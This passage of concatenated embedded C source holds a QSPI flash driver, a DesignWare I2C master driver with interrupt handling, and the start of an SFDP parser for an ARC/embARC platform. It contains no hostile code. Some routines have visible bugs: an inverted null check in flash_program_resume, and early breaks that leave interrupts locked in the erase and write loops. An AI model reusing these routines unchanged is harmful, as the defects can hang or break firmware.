chip_hw_mdelay(1);
}
}
return result;
}
int32_t flash_memory_readb(uint32_t addr, uint8_t *data, uint32_t len)
{
int32_t result = E_OK;
#if FLASH_XIP_EN
result = flash_xip_readb(addr, (void *)data, len);
#else
result = _flash_memory_read(addr, (void *)data, len, 0);
#endif
return result;
}
int32_t flash_memory_readw(uint32_t addr, uint32_t *data, uint32_t len)
{
int32_t result = E_OK;
#if FLASH_XIP_EN
result = flash_xip_read(addr, (void *)data, len);
#else
result = _flash_memory_read(addr, (void *)data, len, 1);
#endif
return result;
}
int32_t flash_memory_writeb(uint32_t addr, const uint8_t *data, uint32_t len)
{
int32_t result = E_OK;
#if FLASH_XIP_EN
result = _flash_memory_write(addr, (const void *)data, len, 0);
#else
FLASH_DEVICE_LOCK(flash_lock);
result = _flash_memory_write(addr, (const void *)data, len, 0);
FLASH_DEVICE_UNLOCK(flash_lock);
#endif
return result;
}
int32_t flash_memory_writew(uint32_t addr, const uint32_t *data, uint32_t len)
{
int32_t result = E_OK;
#if FLASH_XIP_EN
result = _flash_memory_write(addr, (const void *)data, len, 1);
#else
FLASH_DEVICE_LOCK(flash_lock);
result = _flash_memory_write(addr, (const void *)data, len, 1);
FLASH_DEVICE_UNLOCK(flash_lock);
#endif
return result;
}
int32_t flash_program_resume(void)
{
int32_t result = E_OK;
dw_ssi_ops_t *ssi_ops = NULL;
dw_ssi_t *xip_ptr = dw_ssi_get_dev(XIP_QSPI_ID);
dw_ssi_xfer_t xfer = DW_SSI_XFER_INIT(CMD_PGRS, 0, 0, 0);
if ((NULL == xip_ptr) || (xip_ptr->ops)) {
result = E_SYS;
} else {
ssi_ops = (dw_ssi_ops_t *)xip_ptr->ops;
uint32_t cpu_sts = arc_lock_save();
result = ssi_ops->write(xip_ptr, &xfer, 0);
arc_unlock_restore(cpu_sts);
}
return result;
}
int32_t _flash_memory_erase(uint32_t addr, uint32_t len)
{
int32_t result = E_OK;
uint32_t cpu_status = 0;
dw_ssi_ops_t *ssi_ops = NULL;
dw_ssi_t *dw_ssi = dw_ssi_get_dev(DW_QSPI_ID);
dw_ssi_xfer_t we_xfer = DW_SSI_XFER_INIT(CMD_WRITE_ENABLE, 0, 0, 0);
dw_ssi_xfer_t xfer = DW_SSI_XFER_INIT(CMD_WRITE_ENABLE, 0, 0, 1);
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops) || \
(NULL == ext_dev_desc) || (NULL == ext_dev_desc->ops)) {
result = E_SYS;
} else {
uint32_t r_idx;
uint32_t sector_size = 0;
ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
while (len) {
cpu_status = arc_lock_save();
r_idx = flash_dev_find_region(ext_dev_desc->m_region, addr);
if (r_idx >= EXT_FLASH_REGION_CNT_MAX) {
result = E_PAR;
break;
}
sector_size = ext_dev_desc->m_region[r_idx].sector_size;
if (addr % sector_size) {
result = E_PAR;
break;
} else {
}
result = ssi_ops->write(dw_ssi, &we_xfer, 0);
if (E_OK != result) {
break;
} else {
/* waiting! */
result = flash_wait_status(dw_ssi, FLASH_WEL, 0);
if (E_OK != result) {
break;
}
}
xfer.ins = ext_dev_desc->m_region[r_idx].sec_erase_ins;
xfer.addr = addr;
result = ssi_ops->write(dw_ssi, &xfer, 0);
if (E_OK != result) {
break;
} else {
/* waiting! */
result = flash_wait_status(dw_ssi, FLASH_WIP, 1);
if (E_OK != result) {
break;
}
}
if (len < sector_size) {
len = 0;
} else {
len -= sector_size;
addr += sector_size;
}
arc_unlock_restore(cpu_status);
}
}
return result;
}
int32_t flash_quad_entry(void)
{
int32_t result = E_OK;
dw_ssi_t *dw_ssi = dw_ssi_get_dev(DW_QSPI_ID);
if ((NULL != ext_dev_desc) && (NULL != ext_dev_desc->ops) && \
(ext_dev_desc->ops->quad_entry)) {
result = ext_dev_desc->ops->quad_entry(dw_ssi);
} else {
result = E_SYS;
}
return result;
}
int32_t flash_memory_erase(uint32_t addr, uint32_t len)
{
int32_t result = E_OK;
#if FLASH_XIP_EN
result = _flash_memory_erase(addr, len);
#else
FLASH_DEVICE_LOCK(flash_lock);
result = _flash_memory_erase(addr, len);
FLASH_DEVICE_UNLOCK(flash_lock);
#endif
return result;
}
static int32_t _flash_memory_read(uint32_t addr, void *data, uint32_t len, uint32_t flag)
{
int32_t result = E_OK;
uint32_t cpu_status = 0;
uint32_t read_ins = flash_memory_read_instruct();
dw_ssi_ops_t *ssi_ops = NULL;
dw_ssi_t *dw_ssi = dw_ssi_get_dev(DW_QSPI_ID);
dw_ssi_xfer_t xfer = DW_SSI_XFER_INIT(read_ins, addr, 0, 1);
if ((NULL == ext_dev_desc) || \
(NULL == dw_ssi) || (NULL == dw_ssi->ops) || \
(NULL == data) || (0 == len)) {
result = E_PAR;
} else {
uint32_t s_read_cnt = ext_dev_desc->page_size;
#ifdef OS_FREERTOS
/* waiting... */
FLASH_DEVICE_LOCK(flash_lock);
#endif
ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
while (len) {
if (len < s_read_cnt) {
s_read_cnt = len;
}
xfer.addr = addr;
xfer.buf = data;
xfer.len = s_read_cnt;
cpu_status = arc_lock_save();
result = ssi_ops->read(dw_ssi, &xfer, flag);
arc_unlock_restore(cpu_status);
if (E_OK != result) {
break;
}
addr += s_read_cnt;
data = (void *)((uint32_t)data + s_read_cnt);
len -= s_read_cnt;
}
#ifdef OS_FREERTOS
FLASH_DEVICE_UNLOCK(flash_lock);
#endif
}
return result;
}
int32_t flash_wait_status(dw_ssi_t *dw_ssi, uint32_t status, uint32_t cont_sts)
{
int32_t result = E_OK;
uint32_t flash_status = 0;
do {
chip_hw_udelay(100);
if (NULL == ext_dev_desc->ops->status) {
result = E_NOOPS;
break;
}
result = ext_dev_desc->ops->status(dw_ssi, status);
if (result >= 0) {
flash_status = result;
} else {
break;
}
} while (cont_sts == flash_status);
if (result > 0) {
result = E_OK;
}
return result;
}
static int32_t _flash_memory_write(uint32_t addr, const void *data, uint32_t len, uint32_t flag)
{
int32_t result = E_OK;
uint32_t cpu_status = 0, s_write_cnt = 0;
dw_ssi_xfer_t we_xfer = DW_SSI_XFER_INIT(CMD_WRITE_ENABLE, 0, 0, 0);
dw_ssi_xfer_t xfer = DW_SSI_XFER_INIT(CMD_PAGE_PROG, 0, 0, 1);
dw_ssi_ops_t *ssi_ops = NULL;
dw_ssi_t *dw_ssi = dw_ssi_get_dev(DW_QSPI_ID);
if ((NULL == ext_dev_desc) || (NULL == ext_dev_desc->ops) || \
(NULL == dw_ssi) || (NULL == dw_ssi->ops) || \
(addr % ext_dev_desc->page_size) || \
(NULL == data) || (0 == len)) {
result = E_PAR;
} else {
if (flag) {
s_write_cnt = (ext_dev_desc->page_size >> 2);
} else {
s_write_cnt = ext_dev_desc->page_size;
}
ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
while (len) {
cpu_status = arc_lock_save();
if (len < s_write_cnt) {
s_write_cnt = len;
}
xfer.addr = addr;
xfer.buf = (void *)data;
xfer.len = s_write_cnt;
result = ssi_ops->write(dw_ssi, &we_xfer, 0);
if (E_OK != result) {
break;
} else {
/* waiting! */
result = flash_wait_status(dw_ssi, FLASH_WEL, 0);
if (E_OK != result) {
break;
}
}
result = ssi_ops->write(dw_ssi, &xfer, flag);
if (E_OK != result) {
break;
} else {
/* waiting! */
result = flash_wait_status(dw_ssi, FLASH_WIP, 1);
if (E_OK != result) {
break;
}
}
if (flag) {
addr += (s_write_cnt << 2);
data = (void *)((uint32_t)data + (s_write_cnt << 2));
} else {
addr += s_write_cnt;
data = (void *)((uint32_t)data + s_write_cnt);
}
len -= s_write_cnt;
arc_unlock_restore(cpu_status);
}
}
return result;
}
static uint32_t flash_memory_read_instruct(void)
{
uint32_t instruct = 0;
switch (cur_frame_format) {
case STANDARD_SPI_FRAME_FORMAT:
instruct = CMD_READ;
break;
case DUAL_FRAME_FORMAT:
break;
case QUAD_FRAME_FORMAT:
instruct = CMD_Q_READ;
case OCTAL_FRAME_FORMAT:
default:
break;
}
return instruct;
}
static int32_t flash_device_mode(dw_ssi_t *dw_ssi, uint32_t mode)
{
int32_t result = E_OK;
switch (mode) {
case DW_SSI_1_1_X:
break;
case DW_SSI_1_X_X:
result = ext_dev_desc->ops->quad_entry(dw_ssi);
break;
case DW_SSI_X_X_X:
result = ext_dev_desc->ops->qpi_entry(dw_ssi);
break;
default:
result = E_PAR;
}
return result;
}
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dev_common.h"
#include "arc_exception.h"
#include "dw_i2c_reg.h"
#include "dw_i2c.h"
#include "i2c_hal.h"
#define I2C_RX_FIFO_DEFAULT_THRES (0)
#define I2C_TX_FIFO_DEFAULT_THRES (0)
#define i2c_cmd_write (0)
#define i2c_cmd_read (1)
#define stop_dis (0)
#define stop_enable (1)
#define restart_dis (0)
#define restart_enable (1)
typedef struct {
/* 0->idle, 1->busy. */
uint8_t state;
/* 1->write, 2->read. */
i2c_xfer_type_t xfer_type;
uint8_t addr_mode;
uint32_t cur_slave_addr;
uint32_t ext_addr;
uint8_t ext_addr_len;
uint32_t rx_thres;
uint32_t tx_thres;
DEV_BUFFER xfer_buffer;
xfer_callback xfer_done;
dw_i2c_control_t ctrl;
} i2c_runtime_t;
typedef struct {
uint32_t inited;
i2c_runtime_t runtime;
} i2c_global_t;
//int32_t cback = 0;
//int32_t *i2c_back = &cback;
static i2c_global_t i2c_drv;
static void i2c_isr(void *params);
static int32_t i2c_io_timing_config(dw_i2c_t *i2c_dev, uint32_t speed_mode, i2c_io_timing_t *timing);
static int32_t i2c_send_device_address(dw_i2c_t *i2c_dev, dw_i2c_ops_t *i2c_ops, i2c_runtime_t *runtime);
int32_t i2c_init(uint32_t id, i2c_params_t *params)
{
int32_t result = E_OK;
uint32_t enable = 0;
dw_i2c_t *i2c_dev = NULL;
dw_i2c_ops_t *i2c_ops = NULL;
i2c_runtime_t *runtime = &i2c_drv.runtime;
do {
if (i2c_drv.inited) {
EMBARC_PRINTF("please deinit firstly\r\n");
break;
}
i2c_dev = (dw_i2c_t *)i2c_get_dev(id);
if ((NULL == i2c_dev) || (NULL == i2c_dev->ops)) {
result = E_NOEXS;
break;
}
i2c_ops = (dw_i2c_ops_t *)i2c_dev->ops;
i2c_enable(1);
/* before init I2C, disable it. */
result = i2c_ops->enable(i2c_dev, 0, 0, enable);
if (E_OK != result) {
break;
}
/* disable all interrupts.*/
result = i2c_ops->int_mask(i2c_dev, 0xFFF, 0);
if (E_OK != result) {
break;
}
/* master code.*/
result = i2c_ops->master_code(i2c_dev, I2C_MASTER_CODE);
if (E_OK != result) {
break;
}
if (NULL != params) {
runtime->ctrl.mode = 1;
runtime->ctrl.speed = params->speed_mode;
runtime->ctrl.addr_mode = params->addr_mode;
runtime->ctrl.restart_en = 0;
runtime->ctrl.tx_empty_inten = 1;
result = i2c_ops->control(i2c_dev, &runtime->ctrl);
if (E_OK != result) {
break;
}
runtime->addr_mode = params->addr_mode;
if (params->timing) {
result = i2c_io_timing_config(i2c_dev, runtime->ctrl.speed, params->timing);
if (E_OK != result) {
break;
}
}
}
runtime->rx_thres = I2C_RX_FIFO_DEFAULT_THRES;
runtime->tx_thres = I2C_TX_FIFO_DEFAULT_THRES;
result = i2c_ops->fifo_threshold(i2c_dev, &runtime->rx_thres, &runtime->tx_thres);
if (E_OK != result) {
break;
}
result = int_handler_install(i2c_dev->int_no, i2c_isr);
if (E_OK != result) {
EMBARC_PRINTF("interrupt install fail\r\n");
} else {
int_enable(i2c_dev->int_no);
}
enable = 1;
result = i2c_ops->enable(i2c_dev, 0, 0, enable);
dmu_irq_enable(i2c_dev->int_no, 1);
} while (0);
return result;
}
int32_t i2c_fifo_threshold_config(i2c_xfer_type_t xfer_type, uint32_t thres)
{
int32_t result = E_OK;
i2c_runtime_t *runtime = &i2c_drv.runtime;
dw_i2c_ops_t *i2c_ops = NULL;
dw_i2c_t *i2c_dev = (dw_i2c_t *)i2c_get_dev(0);
if ((NULL != i2c_dev) && (NULL != i2c_dev->ops)) {
uint32_t cpu_sts = arc_lock_save();
i2c_ops = (dw_i2c_ops_t *)i2c_dev->ops;
if (i2c_drv.runtime.state) {
result = E_DBUSY;
} else {
if (2 == xfer_type) {
runtime->rx_thres = thres;
} else if (1 == xfer_type) {
runtime->tx_thres = thres;
} else {
result = E_PAR;
}
result = i2c_ops->fifo_threshold(i2c_dev, \
&runtime->rx_thres, \
&runtime->tx_thres);
}
arc_unlock_restore(cpu_sts);
} else {
result = E_PAR;
}
return result;
}
int32_t i2c_transfer_config(uint32_t addr_mode, uint32_t slave_addr, uint32_t ext_addr, uint32_t ext_addr_len)
{
int32_t result = E_OK;
dw_i2c_t *i2c_dev = NULL;
dw_i2c_ops_t *i2c_ops = NULL;
i2c_runtime_t *runtime = &i2c_drv.runtime;
uint32_t cpu_sts = arc_lock_save();
if (runtime->state) {
result = E_DBUSY;
arc_unlock_restore(cpu_sts);
return result;
} else {
runtime->state = 1;
}
arc_unlock_restore(cpu_sts);
i2c_dev = (dw_i2c_t *)i2c_get_dev(0);
if ((NULL == i2c_dev) || (NULL == i2c_dev->ops)) {
result = E_NOEXS;
} else {
i2c_ops = (dw_i2c_ops_t *)i2c_dev->ops;
if (addr_mode != runtime->addr_mode) {
uint32_t old_addr_mode = runtime->ctrl.addr_mode;
runtime->ctrl.addr_mode = addr_mode;
result = i2c_ops->control(i2c_dev, &runtime->ctrl);
if (E_OK != result) {
runtime->ctrl.addr_mode = old_addr_mode;
}
}
if (E_OK == result) {
runtime->cur_slave_addr = slave_addr;
runtime->ext_addr = ext_addr;
runtime->ext_addr_len = ext_addr_len;
}
runtime->state = 0;
}
return result;
}
int32_t i2c_write(uint8_t *data, uint32_t len)
{
int32_t result = E_OK;
uint32_t dev_status;
dw_i2c_t *i2c_dev = NULL;
dw_i2c_ops_t *i2c_ops = NULL;
uint32_t idx;
uint32_t data_cmd = 0;
uint32_t enable = 1;
uint32_t disable = 0;
i2c_runtime_t *runtime = &i2c_drv.runtime;
do {
if ((NULL == data) || (0 == len)) {
result = E_PAR;
break;
}
uint32_t cpu_sts = arc_lock_save();
if (runtime->state) {
result = E_DBUSY;
arc_unlock_restore(cpu_sts);
return result;
}
else {
runtime->state = 1;
}
arc_unlock_restore(cpu_sts);
i2c_dev = (dw_i2c_t *)i2c_get_dev(0);
if ((NULL == i2c_dev) || (NULL == i2c_dev->ops)) {
result = E_NOEXS;
break;
}
i2c_ops = (dw_i2c_ops_t *)i2c_dev->ops;
if (runtime->ctrl.addr_mode) {
result = i2c_ops->enable(i2c_dev, 0, 0, enable);
data_cmd = DATA_COMMAND(i2c_cmd_write, stop_dis, restart_dis, 0xF0);
result = i2c_ops->write(i2c_dev, data_cmd);
}
result = i2c_ops->enable(i2c_dev, 0, 0, disable);
/* send slave address. */
result = i2c_ops->target_address(i2c_dev, runtime->ctrl.addr_mode, runtime->cur_slave_addr);
if (E_OK != result) {
break;
}
result = i2c_ops->enable(i2c_dev, 0, 0, enable);
if (runtime->ext_addr_len) {
result = i2c_send_device_address(i2c_dev, i2c_ops, runtime);
if (E_OK != result) {
break;
}
}
/* send len - 1. */
for (idx = 0; idx < len - 1; idx++) {
result = i2c_ops->status(i2c_dev, &dev_status);
if (E_OK != result) {
break;
}
while (0 == DW_I2C_TXFIFO_N_FULL(dev_status)) {
i2c_ops->status(i2c_dev, &dev_status);}
data_cmd = DATA_COMMAND(i2c_cmd_write, stop_dis, restart_dis, data[idx]);
result = i2c_ops->write(i2c_dev, data_cmd);
if (E_OK != result) {
break;
}
}
/* send last byte. */
result = i2c_ops->status(i2c_dev, &dev_status);
if (E_OK != result) {
break;
}
while (0 == DW_I2C_TXFIFO_N_FULL(dev_status)) {
i2c_ops->status(i2c_dev, &dev_status);}
data_cmd = DATA_COMMAND(i2c_cmd_write, stop_enable, restart_dis, data[len - 1]);
result = i2c_ops->write(i2c_dev, data_cmd);
if (E_OK != result) {
break;
}
} while (0);
if (E_DBUSY != result) {
runtime->state = 0;
}
return result;
}
int32_t i2c_read(uint8_t *data, uint32_t len)
{
int32_t result = E_OK;
dw_i2c_t *i2c_dev = NULL;
dw_i2c_ops_t *i2c_ops = NULL;
uint32_t dev_status;
uint32_t idx, data_cmd = 0;
uint32_t enable = 1;
uint32_t disable = 0;
i2c_runtime_t *runtime = &i2c_drv.runtime;
do {
if ((NULL == data) || (0 == len)) {
result = E_PAR;
break;
}
uint32_t cpu_sts = arc_lock_save();
if (runtime->state) {
result = E_DBUSY;
arc_unlock_restore(cpu_sts);
return result;
}
else {
runtime->state = 1;
}
arc_unlock_restore(cpu_sts);
i2c_dev = (dw_i2c_t *)i2c_get_dev(0);
if ((NULL == i2c_dev) || (NULL == i2c_dev->ops)) {
result = E_NOEXS;
break;
}
i2c_ops = (dw_i2c_ops_t *)i2c_dev->ops;
if (runtime->ctrl.addr_mode) {
result = i2c_ops->enable(i2c_dev, 0, 0, enable);
data_cmd = DATA_COMMAND(i2c_cmd_write, stop_dis, restart_dis, 0xF0);
result = i2c_ops->write(i2c_dev, data_cmd);
}
/* before write target_address,disable I2C */
result = i2c_ops->enable(i2c_dev, 0, 0, disable);
/* send slave address. */
result = i2c_ops->target_address(i2c_dev, runtime->ctrl.addr_mode, runtime->cur_slave_addr);
if (E_OK != result) {
break;
}
result = i2c_ops->enable(i2c_dev, 0, 0, enable);
if (runtime->ext_addr_len) {
result = i2c_send_device_address(i2c_dev, i2c_ops, runtime);
if (E_OK != result) {
break;
}
}
//read len-1 bytes
for (idx = 0; idx < len - 1; idx++) {
result = i2c_ops->status(i2c_dev, &dev_status);
if (E_OK != result) {
break;
}
/*while (1 == DW_I2C_RXFIFO_FULL(dev_status)) {
result = i2c_ops->read(i2c_dev, NULL);
if (result >= 0) {
data[idx] = result & 0xFF;
}
i2c_ops->status(i2c_dev, &dev_status);
}*/
while (0 == DW_I2C_TXFIFO_N_FULL(dev_status)) {
i2c_ops->status(i2c_dev, &dev_status);
}
data_cmd = DATA_COMMAND(i2c_cmd_read, stop_dis, restart_dis, 0);
result = i2c_ops->write(i2c_dev, data_cmd);
if (E_OK != result) {
break;
}
result = i2c_ops->status(i2c_dev, &dev_status);
if (E_OK != result) {
break;
}
while (0 == DW_I2C_RXFIFO_N_EMPTY(dev_status)) {
i2c_ops->status(i2c_dev, &dev_status);
}
result = i2c_ops->read(i2c_dev, NULL);
if (result >= 0) {
data[idx] = result & 0xFF;
} else {
break;
}
}
//read last byte
result = i2c_ops->status(i2c_dev, &dev_status);
if (E_OK != result) {
break;
}
/*while (1 == DW_I2C_RXFIFO_FULL(dev_status)) {
result = i2c_ops->read(i2c_dev, NULL);
if (result >= 0) {
data[idx] = result & 0xFF;
}
i2c_ops->status(i2c_dev, &dev_status);
}*/
while (0 == DW_I2C_TXFIFO_N_FULL(dev_status)) {
i2c_ops->status(i2c_dev, &dev_status);
}
data_cmd = DATA_COMMAND(i2c_cmd_read, stop_enable, restart_dis, 0);
result = i2c_ops->write(i2c_dev, data_cmd);
if (E_OK != result) {
break;
}
result = i2c_ops->status(i2c_dev, &dev_status);
if (E_OK != result) {
break;
}
while (0 == DW_I2C_RXFIFO_N_EMPTY(dev_status)) {
i2c_ops->status(i2c_dev, &dev_status);
}
result = i2c_ops->read(i2c_dev, NULL);
if (result >= 0) {
data[len-1] = result & 0xFF;
} else {
break;
}
} while (0);
if (E_DBUSY != result) {
runtime->state = 0;
}
return result;
}
int32_t i2c_interrupt_enable(void)
{
int32_t result = E_OK;
dw_i2c_t *i2c_dev = (dw_i2c_t *)i2c_get_dev(0);
if ((NULL != i2c_dev) && (NULL != i2c_dev->ops)) {
int_enable(i2c_dev->int_no);
} else {
result = E_PAR;
}
return result;
}
int32_t i2c_interrupt_disable(void)
{
int32_t result = E_OK;
dw_i2c_t *i2c_dev = (dw_i2c_t *)i2c_get_dev(0);
if ((NULL != i2c_dev) && (NULL != i2c_dev->ops)) {
int_disable(i2c_dev->int_no);
} else {
result = E_PAR;
}
return result;
}
int32_t i2c_transfer_start(i2c_xfer_type_t xfer_type, uint8_t *data, uint32_t len, xfer_callback func)
{
int32_t result = E_OK;
uint32_t enable = 1;
uint32_t disable = 0;
uint32_t data_cmd = 0;
dw_i2c_ops_t *i2c_ops = NULL;
dw_i2c_t *i2c_dev = (dw_i2c_t *)i2c_get_dev(0);
i2c_runtime_t *runtime = &i2c_drv.runtime;
i2c_drv.runtime.state = 0;
DEV_BUFFER *dev_buf = &runtime->xfer_buffer;
do {
if ((NULL == data) || (0 == len)) {
result = E_PAR;
break;
}
if ((NULL == i2c_dev) || (NULL == i2c_dev->ops)) {
break;
}
i2c_ops = (dw_i2c_ops_t *)i2c_dev->ops;
uint32_t cpu_sts = arc_lock_save();
if (i2c_drv.runtime.state) {
result = E_DBUSY;
arc_unlock_restore(cpu_sts);
break;
} else {
i2c_drv.runtime.state = 1;
}
arc_unlock_restore(cpu_sts);
runtime->xfer_type = xfer_type;
DEV_BUFFER_INIT(dev_buf, data, len);
if (func) {
runtime->xfer_done = func;
} else {
runtime->xfer_done = NULL;
}
if (runtime->ctrl.addr_mode) {
result = i2c_ops->enable(i2c_dev, 0, 0, enable);
data_cmd = DATA_COMMAND(i2c_cmd_write, stop_dis, restart_dis, 0xF0);
result = i2c_ops->write(i2c_dev, data_cmd);
}
/* before write target_address,disable I2C */
result = i2c_ops->enable(i2c_dev, 0, 0, disable);
/* send slave address.*/
result = i2c_ops->target_address(i2c_dev, runtime->ctrl.addr_mode, \
runtime->cur_slave_addr);
if (E_OK != result) {
break;
}
result = i2c_ops->enable(i2c_dev, 0, 0, enable);
if (runtime->ext_addr_len) {
result = i2c_send_device_address(i2c_dev, i2c_ops, runtime);
if (E_OK != result) {
break;
}
}
/* enable interrupt signal.*/
if (2 == xfer_type) {
if (1 == len) {
data_cmd = DATA_COMMAND(i2c_cmd_read, stop_enable, restart_dis, 0);
result = i2c_ops->write(i2c_dev, data_cmd);
result = i2c_ops->int_mask(i2c_dev, I2C_INT_RX_FULL, 1);
}
else {
data_cmd = DATA_COMMAND(i2c_cmd_read, stop_dis, restart_dis, 0);
result = i2c_ops->write(i2c_dev, data_cmd);
result = i2c_ops->int_mask(i2c_dev, I2C_INT_RX_FULL, 1);
}
} else if (1 == xfer_type) {
result = i2c_ops->int_mask(i2c_dev, I2C_INT_TX_EMPTY, 1);
} else {
result = E_PAR;
}
} while (0);
return result;
}
/*************************************** local fuctions. ***************************************/
static int32_t i2c_send_device_address(dw_i2c_t *i2c_dev, dw_i2c_ops_t *i2c_ops, i2c_runtime_t *runtime)
{
int32_t result = E_OK;
uint8_t idx, data = 0;
uint32_t data_cmd, ext_m_base = runtime->ext_addr;
if ((NULL == i2c_dev) || (NULL == i2c_ops) || (NULL == runtime)) {
result = E_PAR;
} else {
/* first of all, send external device memory address. */
for (idx = 0; idx < runtime->ext_addr_len; idx++) {
data = (ext_m_base >> ((runtime->ext_addr_len - idx - 1) << 3)) & 0xFF;
data_cmd = DATA_COMMAND(i2c_cmd_write, stop_dis, restart_dis, data);
result = i2c_ops->write(i2c_dev, data_cmd);
if (E_OK != result) {
break;
}
}
}
return result;
}
static int32_t i2c_io_timing_config(dw_i2c_t *i2c_dev, uint32_t speed_mode, i2c_io_timing_t *timing)
{
int32_t result = E_OK;
dw_i2c_ops_t *i2c_ops = (dw_i2c_ops_t *)i2c_dev->ops;
result = i2c_ops->scl_count(i2c_dev, speed_mode, timing->scl_h_cnt, timing->scl_l_cnt);
if (E_OK == result) {
result = i2c_ops->sda_hold_time(i2c_dev, timing->sda_rx_hold, timing->sda_tx_hold);
if (E_OK == result) {
result = i2c_ops->spike_suppression_limit(i2c_dev, speed_mode, timing->spike_len);
}
}
return result;
}
/******************************** ISR ***************************************/
static inline void i2c_error_isr(dw_i2c_t *i2c_dev, dw_i2c_ops_t *i2c_ops, uint32_t status)
{
if (I2C_INT_RX_UNDERFLOW & status) {
}
if (I2C_INT_RX_OVERFLW & status) {
}
if (I2C_INT_TX_OVERFLW & status) {
}
if (I2C_INT_TX_ABRT & status) {
}
}
static inline void i2c_receive_isr(dw_i2c_t *i2c_dev, dw_i2c_ops_t *i2c_ops, uint32_t status)
{
int32_t result = E_OK;
i2c_runtime_t *runtime = &i2c_drv.runtime;
DEV_BUFFER *dev_buf = &runtime->xfer_buffer;
if (I2C_INT_RX_FULL & status) {
uint32_t over_err_flag = 0;
uint32_t data_cmd, dev_status = 0;
if ((NULL != dev_buf->buf) && (dev_buf->ofs < dev_buf->len)) {
uint8_t *buf = (uint8_t *)dev_buf->buf;
uint32_t remain_size = dev_buf->len - dev_buf->ofs;
uint32_t remain_cmd_size = remain_size - runtime->rx_thres;
do {
result = i2c_ops->status(i2c_dev, &dev_status);
if (E_OK != result) {
break;
}
//if (DW_I2C_RXFIFO_N_EMPTY(dev_status)) {
while (0 == DW_I2C_RXFIFO_N_EMPTY(dev_status)) {
i2c_ops->status(i2c_dev, &dev_status);
}
result = i2c_ops->read(i2c_dev, NULL);
if (result >= 0) {
buf[dev_buf->ofs++] = result & 0xFF;
remain_size--;
} else {
break;
}
//}
if (remain_cmd_size) {
if (DW_I2C_TXFIFO_N_FULL(dev_status)) {
uint32_t last_flag = 0;
if (2 == remain_cmd_size) {
last_flag = 1;
}
if (remain_cmd_size > 1) {
data_cmd = DATA_COMMAND(i2c_cmd_read, last_flag, restart_dis, 0);
result = i2c_ops->write(i2c_dev, data_cmd);
if (E_OK != result) {
break;
}
}
remain_cmd_size--;
}
}
} while (remain_size);
if (0 == remain_size) {
/* indicate to upper layer. */
if (runtime->xfer_done) {
runtime->xfer_done(NULL);
}
over_err_flag = 1;
}
} else {
over_err_flag = 1;
}
if (over_err_flag) {
/* disable interrupt.*/
result = i2c_ops->int_mask(i2c_dev, I2C_INT_RX_FULL, 0);
if (E_OK == result) {
DEV_BUFFER_INIT(dev_buf, NULL, 0);
}
runtime->xfer_type = 0;
}
}
}
static inline void i2c_transmit_isr(dw_i2c_t *i2c_dev, dw_i2c_ops_t *i2c_ops, uint32_t status)
{
int32_t result = E_OK;
i2c_runtime_t *runtime = &i2c_drv.runtime;
DEV_BUFFER *dev_buf = &runtime->xfer_buffer;
if (I2C_INT_TX_EMPTY & status) {
uint32_t over_err_flag = 0;
uint32_t data_cmd, dev_status = 0;
if ((NULL != dev_buf->buf) && (dev_buf->ofs < dev_buf->len)) {
uint8_t *buf = (uint8_t *)dev_buf->buf;
uint32_t remain_size = dev_buf->len - dev_buf->ofs;
//uint32_t remain_cmd_size = remain_size - runtime->tx_thres;
do {
result = i2c_ops->status(i2c_dev, &dev_status);
if (E_OK != result) {
/* TODO: record error! and restart the transmission? */
break;
}
if (remain_size > 1) {
if (DW_I2C_TXFIFO_N_FULL(dev_status)) {
data_cmd = DATA_COMMAND(i2c_cmd_write, stop_dis, restart_dis, buf[dev_buf->ofs]);
dev_buf->ofs++;
result = i2c_ops->write(i2c_dev, data_cmd);
remain_size--;
//remain_cmd_size = remain_size - runtime->tx_thres;
if (E_OK != result) {
break;
}
}
else {
/* waiting hardware... */
break;
}
}
if (remain_size == 1){
if (DW_I2C_TXFIFO_N_FULL(dev_status)) {
data_cmd = DATA_COMMAND(i2c_cmd_write, stop_enable, restart_dis, buf[dev_buf->ofs]);
result = i2c_ops->write(i2c_dev, data_cmd);
remain_size--;
//remain_cmd_size = remain_size - runtime->tx_thres;
if (E_OK != result) {
break;
}
}
}
} while (remain_size);
if (0 == remain_size) {
if (runtime->xfer_done) {
runtime->xfer_done(NULL);
}
over_err_flag = 1;
}
} else {
over_err_flag = 1;
}
if (over_err_flag) {
/* disable interrupt. */
result = i2c_ops->int_mask(i2c_dev, I2C_INT_TX_EMPTY, 0);
if (E_OK == result) {
DEV_BUFFER_INIT(dev_buf, NULL, 0);
}
runtime->xfer_type = 0;
}
}
}
static inline void i2c_protocol_isr(dw_i2c_t *i2c_dev, dw_i2c_ops_t *i2c_ops, uint32_t status)
{
if (I2C_INT_GEN_CALL & status) {
}
if (I2C_INT_STOP_DET & status) {
}
if (I2C_INT_START_DET & status) {
}
if (I2C_INT_ACTIVITY & status) {
}
}
static void i2c_isr(void *params)
{
int32_t result = E_SYS;
uint32_t status = 0;
i2c_runtime_t *runtime = &i2c_drv.runtime;
dw_i2c_t *i2c_dev = NULL;
dw_i2c_ops_t *i2c_ops = NULL;
i2c_dev = (dw_i2c_t *)i2c_get_dev(0);
if ((NULL != i2c_dev) && (NULL != i2c_dev->ops)) {
i2c_ops = (dw_i2c_ops_t *)i2c_dev->ops;
result = i2c_ops->int_status(i2c_dev, &status);
}
if (E_OK == result) {
i2c_error_isr(i2c_dev, i2c_ops, status);
if (2 == runtime->xfer_type) {
i2c_receive_isr(i2c_dev, i2c_ops, status);
}
else if (1 == runtime->xfer_type) {
i2c_transmit_isr(i2c_dev, i2c_ops, status);
}
else {
i2c_protocol_isr(i2c_dev, i2c_ops, status);
}
}
}
//void i2c_callb(int32_t *cb) {
//
// int32_t call = 1;
//
// if (*cb == 0) {
//
// cb = &call;
//
// }
//
//}
<file_sep>#include <string.h>
#include "embARC.h"
#include "embARC_debug.h"
//#include "dw_qspi.h"
#include "dw_ssi.h"
#include "device.h"
#include "vendor.h"
#include "instruction.h"
#include "sfdp.h"
#define E_SFDP_NOPAR (-100)
#define E_SFDP_NORES (-101)
typedef struct {
uint32_t ins;
uint32_t sector_size;
} flash_erase_type_t;
static int32_t sfdp_read_sfdp_header(dw_ssi_t *dw_ssi, \
sfdp_header_t **header);
static int32_t sfdp_read_basic_parameter_header(dw_ssi_t *dw_ssi, \
sfdp_header_t *header, sfdp_param_header_t **param_header);
